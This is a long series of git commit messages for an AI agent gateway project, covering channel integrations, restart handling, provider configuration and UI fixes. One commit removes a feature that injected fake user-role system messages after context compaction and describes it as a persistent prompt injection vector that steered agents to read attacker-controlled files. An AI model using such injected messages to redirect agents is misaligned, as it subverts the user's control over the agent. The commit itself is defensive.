preserving backward compatibility for small documents. Image
processing correctly receives all inserted blocks across batches.
* fix(feishu): skip heading detection inside fenced code blocks
Addresses review feedback: splitMarkdownByHeadings() now tracks
fenced code blocks (``` or ~~~) and skips heading-based splitting
when inside one, preventing corruption of code block content.
* Feishu/Docx: add convert fallback chunking + tests
---------
Co-authored-by: lml2468 <lml2468@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* docs(feishu): clarify oc_* group allowlist vs ou_* command allowFrom
* docs(feishu): avoid direct edits to generated zh-CN docs
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
- Add cardkit:card:read and cardkit:card:write to tenant scopes
- Format user scopes array for better readability
- Update both English and Chinese documentation
Co-authored-by: hezhizhou.606 <hezhizhou.606@bytedance.com>
In DM (p2p) chats, use message.create instead of message.reply
so that bot responses don't show a 'Reply to' quote. Group chats
retain the reply-to behavior for context clarity.
The typing indicator (emoji reaction on the user's message) is
preserved in DMs — only the reply reference in sent messages is
removed.
Changes:
- Add skipReplyToInMessages param to createFeishuReplyDispatcher
- In bot.ts, set skipReplyToInMessages: !isGroup for both dispatch sites
- In reply-dispatcher.ts, use sendReplyToMessageId (undefined for DMs)
for message sending while keeping replyToMessageId for typing indicator
* fix(feishu): remove incorrect oc_ prefix assumption in resolveFeishuSession
- Feishu oc_ is a generic chat_id that can represent both groups and DMs
- Must use chat_mode field from API to distinguish, not ID prefix
- Only ou_/on_ prefixes reliably indicate user IDs (always DM)
- Fixes session misrouting for DMs with oc_ chat IDs
This bug caused DM messages with oc_ chat_ids to be incorrectly
created as group sessions, breaking session isolation and routing.
* docs: update Feishu ID format comment to reflect oc_ ambiguity
The previous comment incorrectly stated oc_ is always a group chat.
This update clarifies that oc_ chat_ids can be either groups or DMs,
and explicit prefixes (dm:/group:) should be used to distinguish.
* feishu: add regression coverage for oc session routing
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(browser): expose url alias in tool schema
* fix(browser): accept url alias for open and navigate
* test(browser): cover url alias for open and navigate
The secondary window label logic treated any window >= 24h as "Day",
but Codex plans can have a weekly (604800s / 168h) quota window.
The reset timer showed "resets 2d 4h" while the label said "Day",
which was confusing.
Now windows >= 168h are labeled "Week", >= 24h remain "Day", and
shorter windows show the hour count.
Closes#25812
Co-authored-by: Cursor <cursoragent@cursor.com>
* fix: remove post-compaction audit injection (Layer 3)
Remove the post-compaction read audit that injects fake system messages
into conversations after context compaction. This audit:
- Hardcodes WORKFLOW_AUTO.md (a file that doesn't exist in standard
workspaces) as a required read after every compaction
- Leaks raw regex syntax (memory\/\d{4}-\d{2}-\d{2}\.md) in
user-facing warning messages
- Injects messages via enqueueSystemEvent that appear as user-role
messages, tricking agents into reading attacker-controlled files
- Creates a persistent prompt injection vector (see #27697)
Layer 1 (compaction summary) and Layer 2 (workspace context refresh
from AGENTS.md via post-compaction-context.ts) remain intact and are
sufficient for post-compaction context recovery.
Deleted files:
- src/auto-reply/reply/post-compaction-audit.ts
- src/auto-reply/reply/post-compaction-audit.test.ts
Modified files:
- src/auto-reply/reply/agent-runner.ts (removed imports, audit map,
flag setting, and Layer 3 audit block)
Fixes#27697, fixes#26851, fixes#20484, fixes#22339, fixes#25600
Relates to #26461
* fix: resolve lint failures from post-compaction audit removal
* Tests: add regression for removed post-compaction audit warnings
---------
Co-authored-by: Wilfred (OpenClaw Agent) <jay@openclaw.dev>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
When an agent triggers a gateway restart in supervised mode, the process
exits expecting launchd KeepAlive to respawn it. But ThrottleInterval
(default 10s, or 60s on older installs) can delay or prevent restart.
Now calls triggerOpenClawRestart() to issue an explicit launchctl
kickstart before exiting, ensuring immediate respawn. Falls back to
in-process restart if kickstart fails.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(onboard): increase verification timeout and reduce max_tokens for custom provider probes
The onboard wizard sends a chat-completion request to verify custom
providers. With max_tokens: 1024 and a 10 s timeout, large local
models (e.g. Qwen3.5-27B on llama.cpp) routinely time out because
the server needs to load the model and generate up to 1024 tokens
before responding.
Changes:
- Raise VERIFY_TIMEOUT_MS from 10 s to 30 s
- Lower max_tokens from 1024 to 1 (verification only needs a single
token to confirm the API is reachable and the model ID is valid)
- Add explicit stream: false to both OpenAI and Anthropic probes
Closes#27346
Made-with: Cursor
* Changelog: note custom-provider onboarding verification fix
---------
Co-authored-by: Philipp Spiess <hello@philippspiess.com>
Land contributor PR #29032 by @maloqab with Slack native alias docs, integration tests, and changelog entry.
Co-authored-by: maloqab <mitebaloqab@gmail.com>
Fix tool-call lookup failures when models emit whitespace-padded names by normalizing
both transcript history and live streamed embedded-runner tool calls before dispatch.
Co-authored-by: wangchunyue <80630709+openperf@users.noreply.github.com>
Co-authored-by: Sid <sidqin0410@gmail.com>
Co-authored-by: Philipp Spiess <hello@philippspiess.com>
When Ollama responds successfully but returns zero models (e.g. on Linux
with the bundled `ollama-stub.service`), `discoverOllamaModels` was
logging at `warn` level:
[agents/model-providers] No Ollama models found on local instance
This appeared on every agent invocation even when Ollama was not
intentionally configured, polluting production logs. An empty model
list is a normal operational state — it warrants at most a debug
note, not a warning.
Fix: change `log.warn` → `log.debug` for the zero-models branch.
The error paths (HTTP failure, fetch exception) remain at `warn`
since those indicate genuine connectivity problems.
Closes#26354
launchd services do not inherit the shell environment, so Node's undici/fetch
cannot locate the macOS system CA bundle (/etc/ssl/cert.pem). This causes TLS
verification failures for all HTTPS requests (e.g. Telegram, webhooks) when the
gateway runs as a LaunchAgent, while the same gateway works fine in a terminal.
Add NODE_EXTRA_CA_CERTS defaulting to /etc/ssl/cert.pem on macOS in both
buildServiceEnvironment and buildNodeServiceEnvironment. User-supplied
NODE_EXTRA_CA_CERTS is always respected and takes precedence.
Fixes#22856
Co-authored-by: Clawborn <tianrun.yang103@gmail.com>
* fix(update): fallback to --omit=optional when global npm update fails
* fix(update): add recovery hints and fallback for npm global update failures
* chore(update): align fallback progress step index ordering
* chore(update): label omit-optional retry step in progress output
* chore(update): avoid showing 1/2 when fallback path is not used
* chore(ci): retrigger after unrelated test OOM
* fix(update): scope recovery hints to npm failures
* test(update): cover non-npm hint suppression
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(provider): normalize bare gemini-3 Pro model IDs for google-antigravity
The Antigravity Cloud Code Assist API requires a thinking-tier suffix
(-low or -high) for all Gemini 3 Pro variants. When a user configures
a bare model ID like `gemini-3.1-pro`, the API returns a 404 because it
only recognises `gemini-3.1-pro-low` or `gemini-3.1-pro-high`.
Add `normalizeAntigravityModelId()` that appends `-low` (the default
tier) to bare Pro model IDs, and apply it during provider normalisation
for `google-antigravity`. Also refactor the per-provider model
normalisation into a shared `normalizeProviderModels()` helper.
Closes#24071
Co-authored-by: Cursor <cursoragent@cursor.com>
* Tests: cover antigravity model ID normalization
* Changelog: note antigravity pro tier normalization
* Tests: type antigravity model helper inputs
---------
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(agents): add "google" provider to isReasoningTagProvider to prevent reasoning leak
The gemini-api-key auth flow creates a profile with provider "google"
(e.g. google/gemini-3-pro-preview), but isReasoningTagProvider only
matched "google-gemini-cli" (OAuth) and "google-generative-ai". As a
result:
- reasoningTagHint was false → system prompt omitted <think>/<final>
formatting instructions
- enforceFinalTag was false → <final> tag filtering was skipped
Raw <think> reasoning output was delivered to the end user.
Fix: add the bare "google" provider string to the match list and cover
it with two new test cases (exact match + case-insensitive).
Fixes#26551
* fix(agents): add forward-compat fallback for google-gemini-cli gemini-3.1-pro/flash-preview
gemini-3.1-pro-preview and gemini-3.1-flash-preview are not yet present in
pi-ai's built-in google-gemini-cli model catalog (only gemini-3-pro-preview
and gemini-3-flash-preview are registered). When users configure these models
they get "Unknown model" errors even though Gemini CLI OAuth supports them.
The codebase already has isGemini31Model() in extra-params.ts, which proves
intent to support these models. Add a resolveGoogleGeminiCli31ForwardCompatModel
entry to resolveForwardCompatModel following the same clone-template pattern
used for zai/glm-5 and anthropic 4.6 models.
- gemini-3.1-pro-* clones gemini-3-pro-preview (with reasoning: true)
- gemini-3.1-flash-* clones gemini-3-flash-preview (with reasoning: true)
Also add test helpers and three test cases to model.forward-compat.test.ts.
Fixes#26524
* Changelog: credit Google Gemini provider fallback fixes
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Account configs inherit channel-level fields at runtime (e.g.,
resolveTelegramAccount shallow-merges top-level and account values).
An account can set dmPolicy='allowlist' and rely on the parent's
allowFrom, so validating allowFrom on the account object alone
incorrectly rejects valid multi-account configs.
Removes requireAllowlistAllowFrom and requireOpenAllowFrom from all
account-level schemas (Telegram, Signal, IRC, iMessage, BlueBubbles).
Top-level config schemas still enforce the validation.
Addresses Codex review feedback on #27936.
When dmPolicy is set to "allowlist" but allowFrom is missing or empty,
all DMs are silently dropped because no sender can match the empty
allowlist. This is a common pitfall after upgrades that change how
allowlist files are handled (e.g., external allowlist-dm.json files
being deprecated in favor of inline allowFrom arrays).
Changes:
- Add requireAllowlistAllowFrom schema refinement (zod-schema.core.ts)
- Apply validation to all channel schemas: Telegram, Discord, Slack,
Signal, IRC, iMessage, BlueBubbles, MS Teams, Google Chat, WhatsApp
- Add detectEmptyAllowlistPolicy to doctor-config-flow.ts so
"openclaw doctor" surfaces a clear warning with remediation steps
- Add 12 test cases covering reject/accept for multiple channels
Fixes#27892
When an entry's backoff exceeds the recovery budget, the code was using
break which blocked all subsequent entries from being processed. This
caused permanent queue blockage for any installation with a delivery entry
at retryCount >= 2.
Fix: Changed break to continue so entries whose backoff exceeds the
remaining budget are skipped individually rather than blocking the
entire loop.
Closes#27638
The codex forward-compat fallback only matched openai-codex, leaving
github-copilot users without gpt-5.3-codex despite the model being
available on the Copilot API.
Made-with: Cursor
Default missing fill field type to 'text' in /act route to avoid spurious 'fields are required' failures from relay/tool callers. Add regression test for fill payloads with ref+value only.
`pickDefaultNode()` returned null when multiple connected canvas-capable
nodes existed and none matched the local Mac heuristic. This caused
"node required" errors for agents (especially sub-agents) calling the
canvas tool without an explicit node parameter.
In multi-node setups, any canvas-capable node is a valid target — the
receiving node broadcasts A2UI surfaces to all other connected devices.
Fall back to the first connected candidate instead of failing.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Several call sites of deliverOutboundPayloads() were not passing the
sessionKey parameter, causing the internal message:sent hook to never
fire (the guard `if (!sessionKeyForInternalHooks) return` in deliver.ts
silently skipped the triggerInternalHook call).
Fixed call sites:
- commands/agent/delivery.ts (agent loop replies — main fix)
- infra/heartbeat-runner.ts (heartbeat OK + alert delivery)
- infra/outbound/message.ts (message tool sends)
- cron/isolated-agent/delivery-dispatch.ts (cron job delivery)
- gateway/server-node-events.ts (node event forwarding)
The sessionKey parameter already existed in DeliverOutboundPayloadsCoreParams
and was used by deliver.ts to emit the message:sent internal hook event,
but was simply not being passed from most callers.
Fixes#27674
The TUI was erasing already-streamed assistant text when tool calls
were triggered. This happened because the finalize() method in
TuiStreamAssembler was not using the protectBoundaryDrops option
when updating run state.
Now finalize() applies the same boundary drop protection as
ingestDelta(), ensuring that streamed text before tool calls is
preserved when the final payload drops earlier content blocks.
The config schema validates provider api fields against ModelApiSchema,
but openai-codex-responses was missing from the allowed values. This
forces users to set api: "openai-responses" for the openai-codex
provider, which routes requests to api.openai.com/v1/responses instead
of chatgpt.com/backend-api/codex/responses, causing HTTP 401 errors
because Codex OAuth tokens lack api.responses.write scope for the
standard OpenAI Responses endpoint.
The runtime already supports openai-codex-responses throughout: model
registry, stream dispatch (streamOpenAICodexResponses), and provider
detection (OPENAI_MODEL_APIS set). Only the config schema was missing
the literal.
- Use wss:// scheme when TLS is enabled (specifically for bind=lan)
- Load TLS runtime to get certificate fingerprint
- Pass fingerprint to probeGatewayStatus for self-signed cert trust
* Update onboard-auth.config-minimax.ts
fix issue #27600
* fix(minimax): default authHeader for implicit + onboarding providers (#27600)
Landed from contributor PR #27622 by @riccoyuanft and PR #27631 by @kevinWangSheng.
Includes a small TS nullability guard in lane delivery to keep build green on rebased head.
Co-authored-by: riccoyuanft <riccoyuan@gmail.com>
Co-authored-by: Kevin Shenghui <shenghuikevin@github.com>
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Co-authored-by: Kevin Shenghui <shenghuikevin@github.com>
Update tests to properly wait for async file upload operations:
- Use vi.waitFor() to wait for async upload completion in success case
- Use vi.waitFor() to wait for error message in cross-conversation case
- Add setTimeout delay for decline case to ensure async handler completes
- Adjust assertion order to match new execution flow (invokeResponse first)
The tests were failing because the file upload now happens asynchronously
after sending the invokeResponse, so we need to explicitly wait for the
async operations to complete before making assertions.
Fix file upload 'Something went wrong' error by sending the invoke
acknowledgement before performing the file upload, rather than after.
Changes:
- Move invokeResponse to fire immediately upon receiving fileConsent/invoke
- Handle file upload asynchronously without blocking the response
- Update test to wait for async upload completion using vi.waitFor
This prevents Teams from timing out while waiting for the HTTP 200
acknowledgement during slow file uploads to OneDrive.
Fixes#27632
Refactor lane preview finalization into explicit branches so stop-created
previews never duplicate sends when edit fails.
Add Telegram dispatch regressions for:
- stop-created preview edit failure (no duplicate send)
- existing preview edit failure (fallback send preserved)
- missing message id after stop-created flush (fallback send)
Thanks @obviyus for the original preview-prime direction in #27449.
Co-authored-by: Ayaan Zaidi <hi@obviy.us>
When the /restart command runs inside an embedded agent process (no
SIGUSR1 listener), it falls through to triggerOpenClawRestart() which
calls launchctl kickstart -k directly — bypassing the pre-restart port
cleanup added in #27013. If the gateway was started via TUI/CLI, the
orphaned process still holds the port and the new launchd instance
crash-loops.
Add synchronous stale-PID detection (lsof) and termination
(SIGTERM→SIGKILL) inside triggerOpenClawRestart() itself, so every
caller — including the embedded agent /restart path — gets port cleanup
before the service manager restart command fires.
Closes#26736
Made-with: Cursor
restartGatewayProcessWithFreshPid() checks SUPERVISOR_HINT_ENV_VARS to
decide whether to let the supervisor handle the restart (mode=supervised)
or to fork a detached child (mode=spawned). The existing list only had
native launchd vars (LAUNCH_JOB_LABEL, LAUNCH_JOB_NAME) and systemd vars
(INVOCATION_ID, SYSTEMD_EXEC_PID, JOURNAL_STREAM).
macOS launchd does NOT automatically inject LAUNCH_JOB_LABEL into the
child environment. OpenClaw's own plist generator (buildServiceEnvironment
in service-env.ts) sets OPENCLAW_LAUNCHD_LABEL instead. So on stock macOS
LaunchAgent installs, isLikelySupervisedProcess() returned false, causing
the gateway to fork a detached child on SIGUSR1 restart. The original
process then exits, launchd sees its child died, respawns a new instance
which finds the orphan holding the port — infinite crash loop.
Fix: add OPENCLAW_LAUNCHD_LABEL, OPENCLAW_SYSTEMD_UNIT, and
OPENCLAW_SERVICE_MARKER to the supervisor hint list. These are set by
OpenClaw's own service environment builders for both launchd and systemd
and are the reliable supervised-mode signals.
Fixes#27605
Add shared per-port relay initialization dedupe so concurrent callers await a single startup lifecycle, with regression coverage and changelog entry.
Landed from contributor @HOYALIM (PR #21277).
Co-authored-by: Ho Lim <subhoya@gmail.com>
Bind relay WS message handling before onopen and add non-blocking connect.challenge response support without forcing handshake waits on current relay protocol.
Landed from contributor @pandego (PR #22571).
Co-authored-by: pandego <7780875+pandego@users.noreply.github.com>
* fix(gateway): allow cron commands to use gateway.remote.token
* fix(gateway): make local remote-token fallback effective
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Guard sendMessageSlack against NO_REPLY tokens reaching the Slack API,
which caused truncated push notifications before the reply filter could
intercept them.
Made-with: Cursor
(cherry picked from commit fab9b52039)
When connecting via shared gateway token (no device identity),
the operator scopes were being cleared, causing API operations
to fail with 'missing scope' errors.
This fix preserves scopes when sharedAuthOk is true, allowing
headless/API operator clients to retain their requested scopes.
Fixes#27494
(cherry picked from commit c71c8948bd)
Azure OpenAI endpoints were not recognized by shouldForceResponsesStore(),
causing store=false to be sent with all Azure Responses API requests.
This broke multi-turn conversations because previous_response_id referenced
responses that Azure never stored.
Add "azure-openai-responses" to the provider whitelist and
*.openai.azure.com to the URL check in isDirectOpenAIBaseUrl().
Fixes#27497
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
(cherry picked from commit 185f3814e9)
Introduce a sessions cleanup flag to prune entries whose transcript files are missing and surface the exact remediation command from doctor to resolve missing-transcript deadlocks.
Made-with: Cursor
(cherry picked from commit 690d3d596b)
Prevent gateway startup failures when plugins.entries contains stale or removed plugin ids by downgrading unknown entry keys from validation errors to warnings.
Made-with: Cursor
(cherry picked from commit 34ef28cf63)
When Telegram rejects native command registration for excessive commands, progressively retry with fewer commands instead of hard-failing startup.
Made-with: Cursor
(cherry picked from commit a02c40483e)
Add a grace timer after markRunComplete so the typing controller
cleans up even when markDispatchIdle is never called, preventing
indefinite typing keepalive loops in cron and announce flows.
Made-with: Cursor
(cherry picked from commit 684eaf2893)
Users following openclaw.json auth.profiles examples (which use 'mode' for
the credential type) would write their auth-profiles.json entries with:
{ provider: "anthropic", mode: "api_key", apiKey: "sk-ant-..." }
The actual auth-profiles.json schema uses:
{ provider: "anthropic", type: "api_key", key: "sk-ant-..." }
coerceAuthStore() and coerceLegacyStore() validated entries strictly on
typed.type, silently skipping any entry that used the mode/apiKey spelling.
The user would get 'No API key found for provider anthropic' with no hint
about the field name mismatch.
Add normalizeRawCredentialEntry() which, before validation:
- coerces mode → type when type is absent
- coerces apiKey → key when key is absent
Both functions now call the normalizer before the type guard so
mode/apiKey entries are loaded and resolved correctly.
Fixes#26916
- reject new lane enqueues once gateway drain begins
- always reset lane draining state and isolate onWait callback failures
- persist per-session abort cutoff and skip stale queued messages
- avoid false 600s agentTurn timeout in isolated cron jobs
Fixes#27407Fixes#27332Fixes#27427
Co-authored-by: Kevin Shenghui <shenghuikevin@github.com>
Co-authored-by: zjmy <zhangjunmengyang@gmail.com>
Co-authored-by: suko <miha.sukic@gmail.com>
Expose the existing CronJob.sessionKey field through the CLI so users
can target cron jobs at specific named sessions without needing an
external shell script + system crontab workaround.
The backend already fully supports sessionKey on cron jobs - this
change wires it to the CLI surface with --session-key on cron add,
and --session-key / --clear-session-key on cron edit.
Closes#27158
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The 'do not poll/sleep' note added to sessions_spawn tool results causes
cron isolated agents to immediately end their turn, since the note tells
them not to wait for subagent results. In cron isolated sessions, the
agent turn IS the entire run, so ending early means subagent results
are never collected.
Fix: detect cron sessions via includes(':cron:') in agentSessionKey
and suppress the note, allowing the agent to poll/wait naturally.
Note: PR #27330 used startsWith('cron:') which never matches because
the session key format is 'agent:main:cron:...' (starts with 'agent:').
Fixes#27308Fixes#25069
When the sender-name lookup fails with a Feishu permission error (code
99991672), the bot was dispatching two separate agent turns:
1. A dedicated permission-error notification turn
2. The regular inbound user message turn
This caused two bot replies for a single user message, degrading UX and
wasting tokens.
Fix: instead of a separate dispatch, append the permission error notice
directly to the main messageBody. The agent receives both the user's
message and the system notice in a single turn, and responds once.
Fixes#27372
Previously feishu_doc always used accounts[0], so multi-account setups created docs under the first bot regardless of the calling agent.
This change resolves accountId via a before_tool_call hook (defaulting from agentAccountId) and selects the Feishu client per call.
Fixes#27321
The bitable tool registration was reading credentials directly from
top-level feishuCfg.appId/appSecret, missing the accounts.* path used
in multi-account mode. Align with drive.ts and wiki.ts by using
listEnabledFeishuAccounts() which handles both legacy and multi-account
configurations.
The web_search tool was not respecting HTTP_PROXY/HTTPS_PROXY environment
variables, causing 'fetch failed' errors when running behind a proxy.
This fix adds ProxyAgent support for the Brave Search API, similar to how
other tools in OpenClaw handle proxy configuration.
Fixes#27405
The suffix regex matched NO_REPLY at the end of any response,
suppressing substantive replies when models (e.g. Gemini 3 Pro)
appended NO_REPLY to real content.
Replace prefix+suffix regexes with a single whole-string match.
Only responses that are entirely the silent token (with optional
whitespace) are now suppressed.
Add unit tests for the fix.
Fixes#19537
monitorLineProvider() registers the webhook HTTP route and returns
immediately. Because startAccount() directly returned that resolved
promise, the channel supervisor interpreted it as "provider exited"
and triggered auto-restart up to 10 times.
Await a promise gated on ctx.abortSignal so startAccount stays alive
for the full provider lifecycle, matching the contract expected by the
channel supervisor.
Closes#26478
Co-authored-by: Cursor <cursoragent@cursor.com>
This file appears to be a personal agent tracking document that was
accidentally committed to the main repository. It contains internal
PR submission plans and CI status tracking that doesn't belong in
the upstream codebase.
- Stack chat compose row vertically on mobile (max-width: 640px)
- Change action buttons to vertical layout with full width
- Improve mobile UX for send and session control buttons
When grammY's runner exceeds maxRetryTime during a network outage,
runner.task() resolves cleanly. Previously, the polling loop treated
this as an intentional stop and exited permanently — killing Telegram
polling for the lifetime of the gateway process.
Now the outer loop detects this case and restarts with exponential
backoff, so polling recovers once connectivity is restored.
Also bumps maxRetryTime from 5 minutes to 60 minutes so the runner
itself survives longer outages (e.g. scheduled internet downtime)
without needing the outer loop restart path.
The followup runner (used for queued messages, inter-agent sends,
heartbeat followups, etc.) only called typing.markRunComplete() in
its finally block. The typing controller requires BOTH markRunComplete
AND markDispatchIdle to trigger cleanup — but markDispatchIdle was
only wired through the buffered dispatcher path, which followup turns
bypass entirely.
This caused the typing indicator to persist indefinitely on channels
like Telegram when the agent replied with NO_REPLY or produced empty
payloads, because the keepalive loop was never stopped.
Adds markDispatchIdle() alongside markRunComplete() in the followup
runner's finally block, and four test cases covering NO_REPLY, empty
payloads, agent errors, and successful delivery.
Complements #26295 which addressed the channel-level callback layer.
Fixes#26595
Co-authored-by: Samantha <samantha@Samanthas-Mac-mini.local>
The existing `closed` flag in `createTypingCallbacks` guards
`onReplyStart` but not `fireStart` itself. If a keepalive tick is
already in-flight when `fireStop` sets `closed = true` and calls
`keepaliveLoop.stop()`, the running `onTick → fireStart` callback
still completes and sends a stale `sendChatAction('typing')` after
the reply message has been delivered.
On Telegram (which has no cancel-typing API), this causes the typing
indicator to linger ~5 seconds after the bot's message appears.
Add a `closed` early-return in `fireStart` as defense-in-depth so
that even an in-flight tick is suppressed once cleanup has started.
* fix(test): stabilize low-mem parallel lane and cron session mock
* feat(android): make QR scanning first-class onboarding
* docs(android): update README for native Android workflow
* fix(android): stabilize chat composer ime and tab layout
* fix(android): stabilize chat ime insets and tab bar
* fix(android): remove tab bar gap above system nav
* fix(android): harden scanned setup code parsing
* test(android): cover non-string setupCode QR payload
* fix(test): add changelog note for low-mem test runner (#26324) (thanks @ngutman)
---------
Co-authored-by: Ayaan Zaidi <zaidi@uplause.io>
Replace the hardcoded limit of 5 with the existing
MAX_SLACK_MEDIA_FILES constant (8) from media.ts for consistency.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When a Slack message contains only files/audio (no text) and every file
download fails, `resolveSlackMedia` returns null and `rawBody` becomes
empty, causing `prepareSlackMessage` to silently drop the message.
Build a fallback placeholder from the original file names so the agent
still receives the message, matching the pattern already used in
`resolveSlackThreadHistory` for file-only thread entries.
Closes#25064
* fix(hooks): include guildId and channelName in message_received metadata
The message_received hook (both plugin and internal) already exposes
sender identity fields (senderId, senderName, senderUsername, senderE164)
but omits the guild/channel context. Plugins that track per-channel
activity receive NULL values for channel identification.
Add guildId (ctx.GroupSpace) and channelName (ctx.GroupChannel) to the
metadata block in both the plugin hook and internal hook dispatch paths.
These properties are already populated by channel providers (e.g. Discord
sets GroupSpace to the guild ID and GroupChannel to #channel-name) and
used elsewhere in the codebase (channels/conversation-label.ts).
* test: cover guild/channel hook metadata propagation (#26115) (thanks @davidrudduck)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(markdown): require paired || delimiters for spoiler detection
An unpaired || (odd count across all inline tokens) would open a
spoiler that never closes, causing closeRemainingStyles to extend it
to the end of the text. This made all content after an unpaired ||
appear as hidden/spoiler in Telegram.
Pre-count || delimiters across the entire inline token group and skip
spoiler injection entirely when the count is less than 2 or odd. This
prevents single | characters and unpaired || from triggering spoiler
formatting.
Closes#26068
Co-authored-by: Cursor <cursoragent@cursor.com>
* fix: preserve valid spoiler pairs with trailing unmatched delimiters (#26105) (thanks @Sid-Qin)
---------
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(agents): continue fallback loop for unrecognized provider errors
When a provider returns an error that coerceToFailoverError cannot
classify (e.g., custom error messages without standard HTTP status
codes), the fallback loop threw immediately instead of trying the
next candidate. This caused fallback to stop after 2 models even
when 17 were configured.
Only rethrow unrecognized errors when they occur on the last
candidate. For intermediate candidates, record the error as an
attempt and continue to the next model.
Closes#25926
Co-authored-by: Cursor <cursoragent@cursor.com>
* test: cover unknown-error fallback telemetry and land #26106 (thanks @Sid-Qin)
---------
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(followup): fall back to dispatcher when same-channel origin routing fails
When routeReply fails for an originating channel that matches the
session's messageProvider, the onBlockReply callback was created by
that same channel's handler and can safely deliver the reply.
Previously the payload was silently dropped on any routeReply failure,
causing Feishu DM replies to never reach the user.
Cross-channel fallback (origin ≠ provider) still drops the payload to
preserve origin isolation.
Closes#25767
Co-authored-by: Cursor <cursoragent@cursor.com>
* fix: allow same-channel followup fallback routing (#26109) (thanks @Sid-Qin)
---------
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Paths starting with "-" (like those containing "---" pattern) can be
interpreted as shell options by the sh shell. This fix adds a helper
function that prepends "./" to paths starting with "-" to prevent
this interpretation.
This fixes the issue where sandbox filesystem operations fail with
"Syntax error: ; unexpected" when file paths contain the "---" pattern
used in auto-generated inbound media filenames like:
file_1095---f00a04a2-99a0-4d98-99b0-dfe61c5a4198.ogg
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
Land PR #25729 from @Suko.
Use shared fallback-resolution helper and add regression coverage for default, override, and explicit-empty cases.
Co-authored-by: suko <miha.sukic@gmail.com>
Land PR #25682 from @lairtonlelis after maintainer rework:
track dispatcher updates when network decision changes to avoid stale global fetch behavior.
Co-authored-by: Ailton <lairton@telnyx.com>
On Windows, device IDs (dev) returned by handle.stat() and fs.lstat()
may differ even for the same file, causing false-positive 'path-mismatch'
errors when reading local media files.
This fix introduces a statsMatch() helper that:
- Always compares inode (ino) values
- Skips device ID (dev) comparison on Windows where it's unreliable
- Maintains full comparison on Unix platforms
Fixes#25699
Reimplements and consolidates related work:
- #24339 stale disconnect/destroyed session guards
- #25312 voice listener cleanup on stop
- #23036 restore @snazzah/davey runtime dependency
Adds Discord voice DAVE config passthrough, repeated decrypt failure
rejoin recovery, regression tests, docs, and changelog updates.
Co-authored-by: Frank Yang <frank.ekn@gmail.com>
Co-authored-by: Do Cao Hieu <admin@docaohieu.com>
Add "bedrock" and "aws-bedrock" as aliases for the canonical
"amazon-bedrock" provider ID in normalizeProviderId().
Without this mapping, configuring a model as "bedrock/..." causes
the auth resolution fallback to miss the Bedrock-specific AWS SDK
path, since the fallback check requires normalized === "amazon-bedrock".
This primarily affects the main agent when the explicit auth override
is not preserved through config merging.
Fixes#15716
Land #25538 by @chilu18 to keep legacy google-antigravity-auth config entries non-fatal after removal (see #25862).
Co-authored-by: chilu18 <chilu.machona@icloud.com>
Minimal fix path for Telegram empty-text failures in threaded replies.
- fallback to plain text when formatted htmlText is empty
- retry plain text on parse/empty-text API errors
- add focused regression test for threaded mode case
Related: #25091
Supersedes alternative fix path in #17629 if maintainers prefer minimal scope.
Xcode 16+/26 no longer writes IDEProvisioningTeams to the preferences
plist, breaking ios-team-id.sh for newly signed-in accounts. Add
provisioning profile fallback and actionable error when an account
exists but no team ID can be resolved. Also replace ntohl() with
UInt32(bigEndian:) for Swift 6 compatibility and gitignore Xcode
build output directories.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When a third-party channel plugin declares a channel ID that differs from
its plugin ID (e.g. plugin id="apn-channel", channels=["apn"]), the
doctor plugin auto-enable logic was using the channel ID ("apn") as the
key for plugins.entries, producing an entry that fails config validation:
Error: plugins.entries.apn: plugin not found: apn
Root cause: resolveConfiguredPlugins iterated over cfg.channels keys and
used each key directly as both the channel ID (for isChannelConfigured)
and the plugin ID (for plugins.entries). For built-in channels these are
always the same, but for third-party plugins they can differ.
Fix: load the installed plugin manifest registry and build a reverse map
from channel ID to plugin ID. When a cfg.channels key does not resolve to
a built-in channel, look up the declaring plugin's manifest ID and use
that as the pluginId in the PluginEnableChange, so registerPluginEntry
writes the correct plugins.entries["apn-channel"] key.
The applyPluginAutoEnable function now accepts an optional manifestRegistry
parameter for testing, avoiding filesystem access in unit tests.
Fixes#25261
Co-Authored-By: Claude <noreply@anthropic.com>
On hosts where IPv6 is configured but not routed (common on cloud VMs),
Telegram media downloads fail because the pinned DNS lookup may return
IPv6 addresses first. Even though autoSelectFamily (Happy Eyeballs) is
enabled, the round-robin pinned lookup serves individual IPv6 addresses
that fail before IPv4 is attempted.
Sort resolved addresses so IPv4 comes first, ensuring both Happy Eyeballs
and single-address round-robin try the working address family first.
Fixes#23975
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When an assistant message with toolCalls has stopReason 'aborted' or 'error',
the guard should not add those tool call IDs to the pending map. Creating
synthetic tool results for incomplete/aborted tool calls causes API 400 errors:
'unexpected tool_use_id found in tool_result blocks'
This aligns the WRITE path (session-tool-result-guard.ts) with the READ path
(session-transcript-repair.ts) which already skips aborted messages.
Fixes: orphaned tool_result causing session corruption
Tests added:
- does NOT create synthetic toolResult for aborted assistant messages
- does NOT create synthetic toolResult for errored assistant messages
Add @icesword760/openclaw-wechat to the community plugins page.
